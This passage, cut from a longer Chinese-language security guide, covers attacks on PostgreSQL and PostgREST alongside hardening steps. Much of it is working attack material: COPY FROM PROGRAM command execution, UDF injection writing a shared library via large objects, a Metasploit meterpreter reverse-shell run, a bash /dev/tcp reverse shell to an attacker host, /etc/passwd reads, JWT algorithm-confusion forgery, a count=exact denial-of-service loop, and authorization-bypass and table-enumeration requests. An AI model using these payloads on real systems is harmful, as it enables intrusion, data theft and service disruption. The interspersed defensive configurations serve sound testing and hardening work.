as&nbsp; &nbsp;LHOST &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;192.168.1.100&nbsp; &nbsp;&nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The listen address&nbsp; &nbsp;LPORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;4444&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The listen port&nbsp; &nbsp;payload_options &nbsp; ... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;... &nbsp; &nbsp; &nbsp; ...

PostgREST环境利用


--&nbsp;通过PostgREST的RPC接口调用(如果可用)--&nbsp;首先创建函数包装COPY&nbsp;FROM PROGRAMCREATE OR REPLACE&nbsp;FUNCTION&nbsp;exec_cmd(cmd text)RETURNS textLANGUAGE plpgsqlAS&nbsp;$$BEGIN&nbsp; CREATE TABLE&nbsp;IF&nbsp;NOT EXISTS cmd_result (output text);&nbsp; EXECUTE&nbsp;'COPY cmd_result FROM PROGRAM '''&nbsp;|| cmd ||&nbsp;'''';&nbsp;&nbsp;RETURN&nbsp;(SELECT&nbsp;string_agg(output, E'\n') FROM cmd_result);END;$$;--&nbsp;通过PostgREST调用POST /rpc/exec_cmd{"cmd":&nbsp;"whoami"}

防护措施

-- 1. 限制COPY权限REVOKE&nbsp;COPY&nbsp;ON&nbsp;DATABASE mydb&nbsp;FROM&nbsp;PUBLIC;REVOKE&nbsp;COPY&nbsp;ON&nbsp;DATABASE mydb&nbsp;FROM&nbsp;app_user;-- 2. 撤销pg_read_server_files组成员资格REVOKE&nbsp;pg_read_server_files&nbsp;FROM&nbsp;PUBLIC;-- 3. 撤销超级用户权限ALTER&nbsp;ROLE app_user NOSUPERUSER;-- 4. 启用行级安全(RLS)ALTER TABLE&nbsp;cmd_exec ENABLE&nbsp;ROW&nbsp;LEVEL SECURITY;-- 5. 使用PostgreSQL配置限制-- postgresql.confalter&nbsp;system&nbsp;set&nbsp;superuser_reserved_connections&nbsp;=&nbsp;3;

4.10 UDF注入攻击(用户定义函数)

攻击原理: 攻击者通过PostgreSQL的大对象功能(pg_largeobject)上传恶意共享库(.so/.dll),创建用户定义函数(UDF)执行任意代码。

攻击条件

  • 攻击者需获得数据库写权限
  • 能够创建大对象
  • 能够写入服务器文件系统(通过lo_export)
  • PostgreSQL版本允许执行外部共享库

Metasploit模块利用

# 使用Metasploit进行UDF注入msf6 > use exploit/linux/postgres/postgres_payloadmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;RHOSTS target.db.localmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;RPORT 5432msf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;DATABASE myappmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;USERNAME postgresmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;PASSWORD postgresmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;PAYLOAD linux/x86/meterpreter/reverse_tcpmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;LHOST attacker.servermsf6 exploit(linux/postgres/postgres_payload) > exploit# 模块会自动:# 1. 上传二进制payload到pg_largeobject# 2. 使用lo_export写入文件系统# 3. 创建UDF函数# 4. 执行payload并返回shell

手动UDF注入步骤

-- 步骤1:创建大对象存储payloadSELECT&nbsp;lo_create(0);-- 步骤2:上传二进制数据到大对象-- 通常是编译好的.so文件或meterpreter shellcodeINSERT INTO&nbsp;pg_largeobject (loid, pageno, data)&nbsp;VALUES&nbsp;(0,&nbsp;0, decode('7f454c4602...',&nbsp;'hex')); &nbsp;-- ELF header-- 步骤3:导出到文件系统SELECT&nbsp;lo_export(0,&nbsp;'/tmp/udf.so');-- 步骤4:创建UDF函数CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;sys_exec(text)&nbsp;RETURNS&nbsp;intAS&nbsp;'/tmp/udf.so',&nbsp;'system'LANGUAGE&nbsp;C STRICT;-- 步骤5:执行任意命令SELECT&nbsp;sys_exec('whoami');SELECT&nbsp;sys_exec('cat /etc/passwd');SELECT&nbsp;sys_exec('bash -i >& /dev/tcp/attacker/7777 0>&1');

防护措施

-- 1. 限制大对象权限REVOKE&nbsp;ALL&nbsp;ON&nbsp;LARGE OBJECT&nbsp;0&nbsp;FROM&nbsp;PUBLIC;-- 2. 禁用lo_export(如果不需要)-- postgresql.conf-- dynamic_library_path = ''-- 3. 使用pg_execute_server_program限制-- PostgreSQL 13+ 可通过这个函数限制ALTER&nbsp;SYSTEM&nbsp;SET&nbsp;local_preload_libraries&nbsp;=&nbsp;'';-- 4. 监控可疑的大对象操作SELECT&nbsp;*&nbsp;FROM&nbsp;pg_largeobject&nbsp;WHERE&nbsp;loid&nbsp;IN&nbsp;(&nbsp; &nbsp;&nbsp;SELECT&nbsp;loid&nbsp;FROM&nbsp;pg_largeobject_metadata&nbsp; &nbsp;&nbsp;WHERE&nbsp;lomowner&nbsp;NOT&nbsp;IN&nbsp;(SELECT&nbsp;usesysid&nbsp;FROM&nbsp;pg_roles&nbsp;WHERE&nbsp;rolsuper));

4.11 PostgREST特有安全问题

4.11.1 DELETE无过滤危险

问题描述: PostgREST的DELETE操作如果不加过滤条件,会删除整张表的数据。

危险场景

# 危险操作:删除整个表DELETE /logs# 错误示例:忘记添加过滤条件DELETE /users?id=eq.1 &nbsp;# 本意只删除id=1# 正确做法:始终包含WHERE条件DELETE /users?id=eq.123&status=eq.active

防护措施

-- 1. 创建阻止性RLS策略CREATE&nbsp;POLICY delete_protection&nbsp;ON&nbsp;users&nbsp; &nbsp;&nbsp;FOR&nbsp;DELETE&nbsp; &nbsp;&nbsp;WITH&nbsp;CHECK&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;current_user&nbsp;IN&nbsp;('admin',&nbsp;'service_role')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;AND&nbsp;auth.uid()&nbsp;IS&nbsp;NOT NULL&nbsp; &nbsp; );-- 2. 使用函数包装危险操作CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;safe_delete_user(&nbsp; &nbsp; p_user_id UUID,&nbsp; &nbsp; p_current_user UUID)&nbsp;RETURNS&nbsp;booleanLANGUAGE&nbsp;plpgsqlSECURITY DEFINERSET&nbsp;search_path&nbsp;=&nbsp;'api'AS&nbsp;$$BEGIN&nbsp; &nbsp; IF p_current_user&nbsp;=&nbsp;p_user_id&nbsp;OR&nbsp;current_role&nbsp;=&nbsp;'admin'&nbsp;THEN&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DELETE&nbsp;FROM&nbsp;users&nbsp;WHERE&nbsp;id&nbsp;=&nbsp;p_user_id;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;RETURN&nbsp;TRUE;&nbsp; &nbsp;&nbsp;END&nbsp;IF;&nbsp; &nbsp;&nbsp;RETURN&nbsp;FALSE;END;$$;-- 3. 移除DELETE权限REVOKE&nbsp;DELETE&nbsp;ON&nbsp;users&nbsp;FROM&nbsp;anon;REVOKE&nbsp;DELETE&nbsp;ON&nbsp;users&nbsp;FROM&nbsp;authenticated;

4.11.2 Prefer: count=exact DoS攻击

问题描述: 使用Prefer: count=exact头时,PostgREST会对大表执行完整计数,可能导致性能问题。

攻击场景

# 恶意请求:大量精确计数请求for&nbsp;i in {1..1000}; do&nbsp; &nbsp;&nbsp;curl&nbsp;-X GET&nbsp;"http://api/victim_table"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp; -H&nbsp;"Prefer: count=exact"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp; -H&nbsp;"Range: 0-0"&nbsp;&done# 服务器会执行:# SELECT count(*) FROM victim_table; &nbsp;-- 全表扫描# 重复1000次导致数据库资源耗尽

防护措施

# Nginx配置限流limit_req_zone&nbsp;$binary_remote_addr&nbsp;zone=api:10m&nbsp;rate=10r/s;server&nbsp;{&nbsp; &nbsp;&nbsp;location&nbsp;/ {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;limit_req&nbsp;zone=api burst=20&nbsp;nodelay;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 限制count请求&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($http_prefer&nbsp;~ "count=exact")&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;limit_req&nbsp;zone=api burst=5;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}
-- 数据库层面:创建物化视图缓存计数CREATE&nbsp;MATERIALIZED&nbsp;VIEW&nbsp;table_counts&nbsp;ASSELECT&nbsp;'victim_table'&nbsp;as&nbsp;table_name,&nbsp;count(*)&nbsp;as&nbsp;cntFROM&nbsp;victim_table;CREATE&nbsp;UNIQUE&nbsp;INDEX&nbsp;ON&nbsp;table_counts(table_name);-- 创建刷新函数(定时或按需)CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;refresh_counts()RETURNS&nbsp;void&nbsp;AS&nbsp;$$BEGIN&nbsp; &nbsp; REFRESH MATERIALIZED&nbsp;VIEW&nbsp;CONCURRENTLY table_counts;END;$$&nbsp;LANGUAGE&nbsp;plpgsql;

4.11.3 JWT验证绕过场景

场景1:空角色声明

// 伪造JWT:空role声明{&nbsp;&nbsp;"role":&nbsp;"",&nbsp;&nbsp;"exp":&nbsp;9999999999}

场景2:角色枚举

# 枚举可能的管理员角色curl -H&nbsp;"Authorization: Bearer&nbsp;$TOKEN"&nbsp;http://api/admincurl -H&nbsp;"Authorization: Bearer&nbsp;$TOKEN"&nbsp;http://api/postgrescurl -H&nbsp;"Authorization: Bearer&nbsp;$TOKEN"&nbsp;http://api/service_role

场景3:算法混淆

# HS256 -> RS256混淆攻击(旧版库)import jwt# 1. 获取公钥public_key = get_public_key_from_endpoint()# 2. 使用公钥作为HS256密钥签名payload = {"role":&nbsp;"admin",&nbsp;"exp": 9999999999}token = jwt.encode(payload, public_key, algorithm="HS256")# 3. 如果服务器错误地接受HS256签名

4.11.4 RLS配置错误导致数据泄露

常见RLS错误

-- 错误1:策略使用OR而非ANDCREATE&nbsp;POLICY bad_policy&nbsp;ON&nbsp;users&nbsp; &nbsp;&nbsp;FOR&nbsp;SELECT&nbsp;USING&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp; user_id&nbsp;=&nbsp;current_user&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OR&nbsp;role&nbsp;=&nbsp;'admin'&nbsp;&nbsp;-- 任何admin角色可访问&nbsp; &nbsp; );-- 错误2:忘记FOR ALLCREATE&nbsp;POLICY incomplete_policy&nbsp;ON&nbsp;users&nbsp; &nbsp;&nbsp;FOR&nbsp;SELECT&nbsp;USING&nbsp;(user_id&nbsp;=&nbsp;current_user);&nbsp; &nbsp;&nbsp;-- 缺少INSERT/UPDATE/DELETE策略-- 错误3:WITH CHECK缺失CREATE&nbsp;POLICY missing_check&nbsp;ON&nbsp;users&nbsp; &nbsp;&nbsp;FOR&nbsp;UPDATE&nbsp;USING&nbsp;(user_id&nbsp;=&nbsp;current_user);&nbsp; &nbsp;&nbsp;-- 没有WITH CHECK,任何人可修改任何行-- 错误4:SECURITY DEFINER函数绕过RLSCREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;get_all_users()RETURNS&nbsp;SETOF usersLANGUAGE&nbsp;sqlSECURITY DEFINER &nbsp;-- 绕过RLS!SET&nbsp;search_path&nbsp;=&nbsp;'public'AS&nbsp;$$&nbsp; &nbsp;&nbsp;SELECT&nbsp;*&nbsp;FROM&nbsp;users;$$;

正确RLS配置

-- 完整的RLS策略CREATE&nbsp;POLICY full_policy&nbsp;ON&nbsp;users&nbsp; &nbsp;&nbsp;FOR&nbsp;ALL&nbsp; &nbsp;&nbsp;USING&nbsp;(auth.uid()&nbsp;=&nbsp;id&nbsp;OR&nbsp;current_role&nbsp;IN&nbsp;('admin',&nbsp;'support'))&nbsp; &nbsp;&nbsp;WITH&nbsp;CHECK&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp; auth.uid()&nbsp;=&nbsp;id&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OR&nbsp;current_role&nbsp;IN&nbsp;('admin',&nbsp;'support')&nbsp; &nbsp; );-- 表所有者也需要RLSALTER TABLE&nbsp;users FORCE&nbsp;ROW&nbsp;LEVEL SECURITY;-- BYPASSRLS角色检查SELECT&nbsp;rolname&nbsp;FROM&nbsp;pg_roles&nbsp;WHERE&nbsp;rolbypassrls&nbsp;=&nbsp;true;REVOKE&nbsp;BYPASSRLS&nbsp;FROM&nbsp;app_user;

4.12 PostgREST实战攻击案例

重要声明:以下内容仅供安全研究和授权测试使用。未经授权的系统测试可能违反法律法规。

4.12.1 PostgREST 查询参数注入(非传统SQL注入)

关键发现:PostgREST 不是传统 SQL 注入点!

常见误解

  • ❌ 不能用单引号 '
  • ❌ 不能用 union
  • ❌ 不能用注释 --

实际情况:这是 PostgREST 函数调用漏洞,不是传统 SQLi,PostgREST 使用参数化查询和预编译机制,对输入进行严格验证。

正确利用方式:select 参数函数调用

通过 select 参数可以直接调用部分 PostgreSQL 系统函数:

# 查当前数据库用户
GET /feedbacks?select=*,current_user

# 查数据库名
GET /feedbacks?select=*,current_database

# 查数据库版本
GET /feedbacks?select=*,version()

# 查所有数据库(需要pg_catalog权限)
GET /feedbacks?select=*,datname

实际请求示例

# 获取当前会话用户
curl"http://target.com/rest/v1/feedbacks?select=*,current_user"

# 获取数据库版本信息
curl"http://target.com/rest/v1/feedbacks?select=*,version()"

4.12.2 报错分析与绕过

报错1: PGRST100 – 语法错误

错误响应

{
"code":"PGRST100",
"details":"unexpected ''' expecting letter, digit...",
"message":"failed to parse select parameter"
}

原因分析:使用了单引号,PostgREST 不支持传统 SQL 语法中的引号转义。

绕过方法:使用逗号分隔多个字段,避免引号。

报错2: 42703 – 字段不存在

错误响应

{
"code":"42703",
"message":"column feedbacks.current_database does not exist"
}

原因分析:系统把函数名当成表字段名,部分接口不支持直接调用函数。

说明:PostgREST 在某些端点会限制函数调用,需要根据实际返回情况调整策略。

4.12.3 越权漏洞利用(高危)

场景:反馈查询接口越权

目标接口

/rest/v1/feedbacks?select=id&user_id=eq.111&reply=not.is.null&org_id=eq.xxx

正常业务逻辑:用户只能查询自己的反馈记录(user_id 限制)。

越权 Payload

# 1. 查看所有用户反馈(去掉 user_id 限制)
GET /rest/v1/feedbacks?select=*&reply=not.is.null

# 2. user_id 是 UUID 时的越权
GET /rest/v1/feedbacks?select=*&user_id=not.is.null
GET /rest/v1/feedbacks?select=*&user_id=like.%25

# 3. 遍历所有 org_id
GET /rest/v1/feedbacks?select=*&org_id=not.is.null

PostgREST 运算符速查

| | | — | | |

| | | — | | |

| 运算符 | 含义 | 利用场景 | | — | — | — | | not.is.null | 不为空 | 查全部记录 | | is.null | 为空 | 查找未分配记录 | | like.%25 | 任意匹配 | % URL编码,绕过UUID限制 | | in.val1,val2 | 包含多个值 | 批量查询 | | lt.99999 | 小于 | 数值遍历 | | gte.0 | 大于等于 | 范围查询 |

进阶利用示例

# 组合多个越权条件GET&nbsp;/rest/v1/feedbacks?select=*&reply=not.is.null&org_id=not.is.null# 使用in运算符批量获取GET&nbsp;/rest/v1/feedbacks?select=*&id=in.1,2,3,4,5# 时间范围越权GET&nbsp;/rest/v1/feedbacks?select=*&created_at=gte.2024-01-01&created_at=lte.2024-12-31

4.12.4 PGRST116 绕过(返回多条数据)

报错信息

{
"code":"PGRST116",
"details":"The result contains 20 rows",
"message":"JSON object requested, multiple (or no) rows returned"
}

原因分析

接口期望返回单个对象(JSON object),但查询返回了多条记录。

绕过方法

方法1: URL 参数

# 添加 single=false 参数GET /rest/v1/feedbacks?select=*&single=falseGET /rest/v1/feedbacks?select=*&limit=100&single=false

方法2: HTTP 头

# 使用 Prefer 头控制返回格式curl&nbsp;-H&nbsp;"Accept: application/json"&nbsp;\&nbsp; &nbsp; &nbsp;-H&nbsp;"Prefer: return=representation"&nbsp;\&nbsp; &nbsp; &nbsp;"http://target.com/rest/v1/feedbacks?select=*"# 组合使用curl&nbsp;-H&nbsp;"Accept: application/json"&nbsp;\&nbsp; &nbsp; &nbsp;-H&nbsp;"Prefer: return=representation"&nbsp;\&nbsp; &nbsp; &nbsp;-H&nbsp;"Range: 0-99"&nbsp;\&nbsp; &nbsp; &nbsp;"http://target.com/rest/v1/feedbacks?select=*"

方法3: 分页获取

# 使用 offset 分页GET /rest/v1/feedbacks?select=*&limit=100&offset=0GET /rest/v1/feedbacks?select=*&limit=100&offset=100GET /rest/v1/feedbacks?select=*&limit=100&offset=200

4.12.5 横向移动 – 访问其他表

利用已知的越权漏洞,尝试访问其他敏感表

# 1. 用户表(auth.users)
GET /rest/v1/auth.users?select=*&limit=100

# 2. 用户详情表
GET /rest/v1/profiles?select=*&limit=100

# 3. 管理员表
GET /rest/v1/admins?select=*&limit=100

# 4. 企业组织表
GET /rest/v1/organizations?select=*&limit=100

# 5. 角色权限表
GET /rest/v1/roles?select=*&limit=100

# 6. 查所有表名(通过RPC或函数)
GET /rest/v1/rpc/pg_catalog?select=tablename

敏感表名枚举字典

常见敏感表名:
- users, user_profiles, user_details
- admins, administrators
- auth.users, auth.sessions
- roles, permissions, user_roles
- organizations, tenants, companies
- api_keys, tokens, sessions
- payments, orders, transactions
- logs, audit_logs, access_logs
- configs, settings, system_configs
- feedbacks, messages, notifications

4.12.6 完整攻击流程

┌─────────────────────────────────────────────────────────────────┐│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PostgREST 攻击流程 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│├─────────────────────────────────────────────────────────────────┤│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;1️⃣ 信息收集 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 发现 PostgREST 接口 (/rest/v1/*) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 探测表结构 (GET /feedbacks?select=*) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; └─ 确定认证状态 (匿名/认证用户) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;2️⃣ 测试注入 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 确认不支持传统 SQLi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 测试&nbsp;select&nbsp;参数函数调用 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 验证 current_user/version() 可用性 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;3️⃣ 函数调用 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─&nbsp;select=current_user &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─&nbsp;select=current_database &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─&nbsp;select=version() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;4️⃣ 越权测试 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 去掉 user_id 限制 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 测试 org_id=not.is.null &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 验证数据泄露 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;5️⃣ 绕过限制 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ single=false&nbsp;或 Accept 头 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 使用&nbsp;limit/offset 分页 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ Prefer:&nbsp;return=representation &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;6️⃣ 横向移动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 访问 auth.users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 访问 profiles/admins &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 枚举所有敏感表 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; 